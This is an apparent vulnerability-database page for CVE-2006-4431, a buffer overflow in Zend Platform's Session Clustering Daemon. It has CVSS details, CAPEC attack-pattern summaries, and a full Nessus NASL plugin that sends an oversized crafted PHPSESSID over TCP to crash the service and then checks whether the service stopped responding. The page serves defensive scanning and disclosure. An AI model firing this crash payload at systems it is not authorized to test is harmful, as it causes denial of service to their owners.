Vulnerabilities > CVE-2006-4431 - Improper Restriction of Operations Within the Bounds of A Memory Buffer vulnerability in Zend Platform

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
zend
CWE-119
nessus

Summary

Multiple buffer overflows in the (a) Session Clustering Daemon and the (b) mod_cluster module in the Zend Platform 2.2.1 and earlier allow remote attackers to cause a denial of service (crash) or execute arbitrary code via a (1) empty or (2) crafted PHP session identifier (PHPSESSID).

Vulnerable Configurations

Part Description Count
Application
Zend
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Nessus

NASL familyGain a shell remotely
NASL idZEND_SCD_DOS.NASL
descriptionThe version of Zend
last seen2020-06-01
modified2020-06-02
plugin id22273
published2006-08-29
reporterThis script is Copyright (C) 2006-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/22273
titleZend Session Clustering Daemon PHP Session Identifier Remote Overflow
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(22273);
  script_version("1.15");

  script_cve_id("CVE-2006-4431");
  script_bugtraq_id(19692);

  script_name(english:"Zend Session Clustering Daemon PHP Session Identifier Remote Overflow");
  script_summary(english:"Tries to crash Zend Session Clustering daemon");

 script_set_attribute(attribute:"synopsis", value:
"The remote server is affected by a buffer overflow vulnerability." );
 script_set_attribute(attribute:"description", value:
"The version of Zend's Session Clustering daemon on the remote host
contains a buffer overflow that can be exploited by an attacker using
a specially crafted session id to crash the affected service and even
execute arbitrary code subject to the permissions of the user id
running it." );
 script_set_attribute(attribute:"see_also", value:"http://www.hardened-php.net/advisory_052006.128.html" );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/444263/30/0/threaded" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to Zend Platform version 2.2.1a or later." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/08/29");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/08/24");
 script_cvs_date("Date: 2018/11/15 20:50:22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
  script_category(ACT_DENIAL);
  script_family(english:"Gain a shell remotely");
  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");
  script_dependencies("zend_scd_detect.nasl");
  script_require_ports("Services/zend_scd", 34567);
  exit(0);
}

include("global_settings.inc");
include("byte_func.inc");
include("misc_func.inc");


port = get_kb_item("Services/zend_scd");
if (!port) port = 34567;
if (!get_port_state(port)) exit(0);


# Establish a connection.
soc = open_sock_tcp(port);
if (!soc) exit(0);

req1_1 = raw_string(0x00, 0x00, 0x30, 0x39);
req1_2 = raw_string(0x00, 0x00, 0x00, 0x06);
send(socket:soc, data:req1_1+req1_2);
res = recv(socket:soc, length:64);
if (
  strlen(res) == 20 &&
  getdword(blob:res, pos:0) == 0x303a &&
  getdword(blob:res, pos:4) == 6
)
{
  # Try to exploit the issue to crash the service.
  octs = split(get_host_ip(), sep:'.', keep:FALSE);
  if (isnull(octs)) exit(0);

  # nb: the initial component in the session identifier must be valid;
  #     this is an encoded IP address, and we assume the target's 
  #     IP address will work.
  sid = str_replace(
    string:string(
      hex(octs[0]^186), 
      hex(octs[1]^186), 
      hex(octs[2]^176),                # nb: yes, this one is different!
      hex(octs[3]^186)
    ), 
    find:"0x", 
    replace:""
  );
  sid += ":baba37bd:00000000:00000000:00000000:00000000:" + crap(5000);

  req2_1 = raw_string(0x00, 0x00, 0x30, 0x3b);
  req2_2 = mkdword(0x0c) + 
    mkdword(0x00) +
    mkdword(strlen(sid)) + 
    mkdword(0) + 
    mkdword(0) + 
    mkdword(0) +
    sid;
  send(socket:soc, data:req2_1+req2_2);
  res = recv(socket:soc, length:64);

  if (!strlen(res))
  {
    # Try to reestablish a connection and read the banner.
    soc2 = open_sock_tcp(port);
    if (soc2)
    {
      send(socket:soc2, data:req1_1+req1_2);
      res2 = recv(socket:soc2, length:64);
      close(soc2);
    }

    # If we couldn't establish the connection or read the banner,
    # there's a problem.
    if (!soc2 || !strlen(res2))
    {
      security_hole(port);
      exit(0);
    }
  }
}